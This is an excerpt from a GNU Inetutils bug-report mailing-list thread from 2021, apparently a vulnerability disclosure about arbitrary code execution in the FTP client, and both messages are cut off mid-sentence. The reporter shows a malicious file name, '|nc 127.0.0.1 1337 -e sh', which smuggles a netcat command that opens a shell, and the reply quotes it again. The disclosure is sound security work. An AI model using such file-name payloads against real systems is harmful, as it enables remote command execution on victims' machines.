Re: FTP client arbitrary code execution

2021-09-20 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
John Zhau writes: > After some further testing, I've found that I'm still able to get a shell > with the aforementioned payload even with other files in the same > directory. I've also found that I can also get a shell with the following > file name: > > ``` > |nc 127.0.0.1 1337 -e sh > ``` > >

Re: FTP client arbitrary code execution

2021-09-19 Thread John Zhau
After some further testing, I've found that I'm still able to get a shell with the aforementioned payload even with other files in the same directory. I've also found that I can also get a shell with the following file name: ``` |nc 127.0.0.1 1337 -e sh ``` As a result, I believe code execution